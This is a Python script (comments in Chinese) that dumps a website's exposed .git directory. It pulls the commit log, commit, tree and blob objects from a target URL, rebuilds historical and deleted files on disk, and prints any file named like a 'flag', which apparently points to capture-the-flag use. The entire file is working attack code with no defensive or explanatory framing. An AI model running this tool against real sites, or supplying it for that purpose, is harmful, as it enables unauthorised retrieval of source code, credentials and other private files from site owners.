#!/usr/bin/env python3 """ Git历史遍历工具 - 自动从Git泄露中恢复所有历史文件(包括已删除的) 用法: python3 git_history_dumper.py [output_dir] 示例: python3 git_history_dumper.py http://target.com/ ./output """ import urllib.request import zlib import binascii import os import sys class GitHistoryDumper: def __init__(self, base_url, output_dir): self.base_url = base_url.rstrip('/') + '/' self.output_dir = output_dir def fetch(self, sha): url = f"{self.base_url}.git/objects/{sha[:2]}/{sha[2:]}" try: with urllib.request.urlopen(url, timeout=10) as resp: return zlib.decompress(resp.read()) except: return None def parse_commit(self, data): text = data.decode('utf-8', errors='replace').replace('\x00', '\n') for line in text.split('\n'): if line.startswith('tree '): return line.split()[1] return None def parse_tree(self, data): files = [] null_pos = data.find(b'\x00') entries = data[null_pos+1:] while len(entries) >= 21: space = entries.find(b' ') null = entries.find(b'\x00', space) mode = entries[:space].decode() name = entries[space+1:null].decode() sha = binascii.hexlify(entries[null+1:null+21]).decode() files.append((mode, name, sha)) entries = entries[null+21:] return files def extract_blob(self, sha): data = self.fetch(sha) if not data: return None return data[data.find(b'\x00')+1:] def get_commits(self): url = f"{self.base_url}.git/logs/HEAD" try: with urllib.request.urlopen(url, timeout=10) as resp: logs = resp.read().decode() commits = [] for line in logs.split('\n'): parts = line.split() if len(parts) >= 2: for sha in [parts[0], parts[1]]: if sha != '0'*40 and sha not in commits: commits.append(sha) return commits except: return [] def run(self): print(f"[*] Target: {self.base_url}") print(f"[*] Output: {self.output_dir}\n") os.makedirs(self.output_dir, exist_ok=True) commits = self.get_commits() print(f"[+] Found {len(commits)} commits\n") all_files = {} for commit_sha in commits: print(f"[*] Commit: {commit_sha[:8]}") commit_data = self.fetch(commit_sha) if not commit_data: continue tree_sha = self.parse_commit(commit_data) if not tree_sha: continue tree_data = self.fetch(tree_sha) if not tree_data: continue files = self.parse_tree(tree_data) for mode, name, blob_sha in files: print(f" {name}") all_files[name] = (commit_sha, blob_sha) if 'flag' in name.lower(): content = self.extract_blob(blob_sha) if content: print(f"\n{'='*50}") print(f"[!!!] FLAG FILE: {name}") print(content.decode('utf-8', errors='replace')) print('='*50) print(f"\n[*] Extracting {len(all_files)} files...") for name, (commit, blob) in all_files.items(): content = self.extract_blob(blob) if content: with open(os.path.join(self.output_dir, name), 'wb') as f: f.write(content) print(f" [+] {name}") print("\n[+] Done!") if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python3 git_history_dumper.py [output_dir]") print("Example: python3 git_history_dumper.py http://target.com/ ./output") sys.exit(1) url = sys.argv[1] output = sys.argv[2] if len(sys.argv) > 2 else "./git_dump" GitHistoryDumper(url, output).run()